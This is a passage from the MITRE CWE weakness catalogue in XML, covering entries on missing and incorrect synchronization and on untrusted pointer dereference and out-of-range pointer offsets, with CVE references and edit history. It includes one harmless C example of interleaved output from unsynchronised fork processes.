					          <Mapped_Node_Name>Script in IMG tags</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>91</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Script in IMG
						Tags</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize Script in
						Attributes of IMG Tags in a Web Page</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Improper Sanitization of
						Script in Attributes of IMG Tags in a Web Page</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="820" Name="Missing Synchronization" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software utilizes a shared resource in a concurrent manner
					but does not attempt to synchronize access to the resource. </Description_Summary>
				        <Extended_Description>
					          <Text> If access to a shared resource is not synchronized, then the resource may
						not be in a state that is expected by the software. This might lead to
						unexpected or insecure behaviors, especially if an attacker can influence
						the shared resource.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>662</Relationship_Target_ID>
					          <!--Improper Synchronization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>853</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 08 - Locking (LCK)-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code intends to fork a process, then have both the
						parent and child processes print a single line.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>static void print (char * string) {</Code>
							              <Block>
								                <Code>char * word;</Code>
								                <Code>int counter;</Code>
								                <Code>for (word = string; counter = *word++; ) {</Code>
								                <Block>
									                  <Code>putc(counter, stdout);</Code>
									                  <Code>fflush(stdout);</Code>
									                  <Comment>/* Make timing window a little larger... */</Comment>
									                  <Code>sleep(1);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int main(void) {</Code>
							              <Block>
								                <Code>pid_t pid;</Code>
								                <Code/>
								                <Code>pid = fork();</Code>
								                <Code>if (pid == -1) {</Code>
								                <Block>
									                  <Code>exit(-2);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else if (pid == 0) {</Code>
								                <Block>
									                  <Code>print("child\n");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>print("PARENT\n");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>exit(0);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>One might expect the code to print out something like:</Text>
						            <Block Block_Nature="Result">
							              <Text>PARENT</Text>
							              <Text>child</Text>
						            </Block>
						            <Text>However, because the parent and child are executing concurrently, and
							stdout is flushed each time a character is printed, the output might be
							mixed together, such as:</Text>
						            <Block Block_Nature="Result">
							              <Text>PcAhRiElNdT</Text>
							              <Text>[blank line]</Text>
							              <Text>[blank line]</Text>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Synchronize access to static fields that can be modified by
						untrusted code</Mapped_Node_Name>
					          <Mapped_Node_ID>LCK05-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-08-06</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="821" Name="Incorrect Synchronization" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software utilizes a shared resource in a concurrent manner
					but it does not correctly synchronize access to the
					resource.</Description_Summary>
				        <Extended_Description>
					          <Text> If access to a shared resource is not correctly synchronized, then the
						resource may not be in a state that is expected by the software. This might
						lead to unexpected or insecure behaviors, especially if an attacker can
						influence the shared resource.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>662</Relationship_Target_ID>
					          <!--Improper Synchronization-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-08-06</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="822" Name="Untrusted Pointer Dereference" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The program obtains a value from an untrusted source, converts
					this value to a pointer, and dereferences the resulting pointer. </Description_Summary>
				        <Extended_Description>
					          <Text>An attacker can supply a pointer for memory locations that the program is
						not expecting. If the pointer is dereferenced for a write operation, the
						attack might allow modification of critical program state variables, cause a
						crash, or execute code. If the dereferencing operation is for a read, then
						the attack might allow reading of sensitive data, cause a crash, or set a
						program variable to an unexpected value (since the value will be read from
						an unexpected memory location).</Text>
					          <Text>There are several variants of this weakness, including but not necessarily
						limited to:</Text>
					          <Block Block_Nature="List">
						            <Text>The untrusted value is directly invoked as a function call.</Text>
						            <Text>In OS kernels or drivers where there is a boundary between "userland"
							and privileged memory spaces, an untrusted pointer might enter through
							an API or system call (see CWE-781 for one such example).</Text>
						            <Text>Inadvertently accepting the value from an untrusted control sphere
							when it did not have to be accepted as input at all. This might occur
							when the code was originally developed to be run by a single user in a
							non-networked environment, and the code is then ported to or otherwise
							exposed to a networked environment.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>125</Relationship_Target_ID>
					          <!--Out-of-bounds Read-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>787</Relationship_Target_ID>
					          <!--Out-of-bounds Write-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>There are close relationships between incorrect pointer dereferences and
						other weaknesses related to buffer operations. There may not be sufficient
						community agreement regarding these relationships. Further study is needed
						to determine when these relationships are chains, composites,
						perspective/layering, or other types of relationships. As of September 2010,
						most of the relationships are being captured as chains.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>Many weaknesses related to pointer dereferences fall under the general
						term of "memory corruption" or "memory safety." As of September 2010, there
						is no commonly-used terminology that covers the lower-level variants.</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the untrusted pointer is used in a read operation, an attacker
							might be able to read sensitive portions of memory.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the untrusted pointer references a memory location that is not
							accessible to the program, or points to a location that is "malformed"
							or larger than expected by a read or write operation, the application
							may terminate unexpectedly.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the untrusted pointer is used in a function call, or points to
							unexpected data in a write operation, then code execution may be
							possible.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5655</Observed_Example_Reference>
					          <Observed_Example_Description>message-passing framework interprets values in
						packets as pointers, causing a crash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2299</Observed_Example_Reference>
					          <Observed_Example_Description>labeled as a "type confusion" issue, also referred
						to as a "stale pointer." However, the bug ID says "contents are simply
						interpreted as a pointer... renderer ordinarily doesn't supply this pointer
						directly". The "handle" in the untrusted area is replaced in one function,
						but not another - thus also, effectively, exposure to wrong sphere
						(CWE-668). </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1719</Observed_Example_Reference>
					          <Observed_Example_Description>Untrusted dereference using undocumented
						constructor.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1250</Observed_Example_Reference>
					          <Observed_Example_Description>An error code is incorrectly checked and
						interpreted as a pointer, leading to a crash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0311</Observed_Example_Reference>
					          <Observed_Example_Description>An untrusted value is obtained from a packet and
						directly called as a function pointer, leading to code
						execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-1818</Observed_Example_Reference>
					          <Observed_Example_Description>Undocumented attribute in multimedia software
						allows "unmarshaling" of an untrusted pointer.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3189</Observed_Example_Reference>
					          <Observed_Example_Description>ActiveX control for security software accepts a
						parameter that is assumed to be an initialized
						pointer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-1253</Observed_Example_Reference>
					          <Observed_Example_Description>Spreadsheet software treats certain record values
						that lead to "user-controlled pointer" (might be untrusted offset, not
						untrusted pointer).</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied and probably under-reported as of September 2010. This
						weakness has been reported in high-visibility software, but applied
						vulnerability researchers have only been investigating it since
						approximately 2008, and there are only a few public reports. Few reports
						identify weaknesses at such a low level, which makes it more difficult to
						find and study real-world code examples.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Define and use a pointer validation
						function</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM10-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-09-22</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="823" Name="Use of Out-of-range Pointer Offset" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The program performs pointer arithmetic on a valid pointer, but
					it uses an offset that can point outside of the intended range of valid memory
					locations for the resulting pointer. </Description_Summary>
				        <Extended_Description>
					          <Text>While a pointer can contain a reference to any arbitrary memory location,
						a program typically only intends to use the pointer to access limited
						portions of memory, such as contiguous memory used to access an individual
						array. </Text>
					          <Text>Programs may use offsets in order to access fields or sub-elements stored
						within structured data. The offset might be out-of-range if it comes from an
						untrusted source, is the result of an incorrect calculation, or occurs
						because of another error. </Text>
					          <Text>If an attacker can control or influence the offset so that it points
						outside of the intended boundaries of the structure, then the attacker may
						be able to read or write to memory locations that are used elsewhere in the
						program. As a result, the attack might change the state of the software as
						accessed through program variables, cause a crash or instable behavior, and
						possibly lead to code execution. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>125</Relationship_Target_ID>
					          <!--Out-of-bounds Read-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>787</Relationship_Target_ID>
					          <!--Out-of-bounds Write-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>There are close relationships between incorrect pointer dereferences and
						other weaknesses related to buffer operations. There may not be sufficient
						community agreement regarding these relationships. Further study is needed
						to determine when these relationships are chains, composites,
						perspective/layering, or other types of relationships. As of September 2010,
						most of the relationships are being captured as chains.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Untrusted pointer offset</Term>
					          <Alternate_Term_Description>
						            <Text>This term is narrower than the concept of "out-of-range" offset, since
							the offset might be the result of a calculation or other error that does
							not depend on any externally-supplied values.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>Many weaknesses related to pointer dereferences fall under the general
						term of "memory corruption" or "memory safety." As of September 2010, there
						is no commonly-used terminology that covers the lower-level variants.</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the untrusted pointer is used in a read operation, an attacker
							might be able to read sensitive portions of memory.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the untrusted pointer references a memory location that is not
							accessible to the program, or points to a location that is "malformed"
							or larger than expected by a read or write operation, the application
							may terminate unexpectedly.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the untrusted pointer is used in a function call, or points to
							unexpected data in a write operation, then code execution may be
							possible.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2160</Observed_Example_Reference>
					          <Observed_Example_Description>Invalid offset in undocumented opcode leads to
						memory corruption.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-1281</Observed_Example_Reference>
					          <Observed_Example_Description>Multimedia player uses untrusted value from a file
						when using file-pointer calculations.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3129 </Observed_Example_Reference>
					          <Observed_Example_Description>Spreadsheet program processes a record with an
						invalid size field, which is later used as an
						offset.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2694</Observed_Example_Reference>
					          <Observed_Example_Description>Instant messaging library does not validate an
						offset value specified in a packet.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2687</Observed_Example_Reference>
					          <Observed_Example_Description>Language interpreter does not properly handle
						invalid offsets in JPEG image, leading to out-of-bounds memory access and
						crash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0690</Observed_Example_Reference>
					          <Observed_Example_Description>negative offset leads to out-of-bounds read
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4114</Observed_Example_Reference>
					          <Observed_Example_Description>untrusted offset in kernel
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2873</Observed_Example_Reference>
					          <Observed_Example_Description>"blind trust" of an offset value while writing
						heap memory allows corruption of function pointer,leading to code execution
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2866</Observed_Example_Reference>
					          <Observed_Example_Description>negative value (signed) causes pointer
						miscalculation </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2872</Observed_Example_Reference>
					          <Observed_Example_Description>signed values cause incorrect pointer calculation
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5657</Observed_Example_Reference>
					          <Observed_Example_Description>values used as pointer
						offsets</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2867</Observed_Example_Reference>
					          <Observed_Example_Description>a return value from a function is sign-extended if
						the value is signed, then used as an offset for pointer
						arithmetic</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1097</Observed_Example_Reference>
					          <Observed_Example_Description>portions of a GIF image used as offsets, causing
						corruption of an object pointer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1807</Observed_Example_Reference>
					          <Observed_Example_Description>invalid numeric field leads to a free of arbitrary
						memory locations, then code execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-2500</Observed_Example_Reference>
					          <Observed_Example_Description>large number of elements leads to a free of an
						arbitrary address</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1686</Observed_Example_Reference>
					          <Observed_Example_Description>array index issue (CWE-129) with negative offset,
						used to dereference a function pointer</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2878</Observed_Example_Reference>
					          <Observed_Example_Description>"buffer seek" value - basically an
						offset?</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied and probably under-reported as of September 2010. This
						weakness has been reported in high-visibility software, but applied
						vulnerability researchers have only been investigating it since
						approximately 2008, and there are only a few public reports. Few reports
						identify weaknesses at such a low level, which makes it more difficult to
						find and study real-world code examples.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Pointer Arithmetic", Page
						277.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
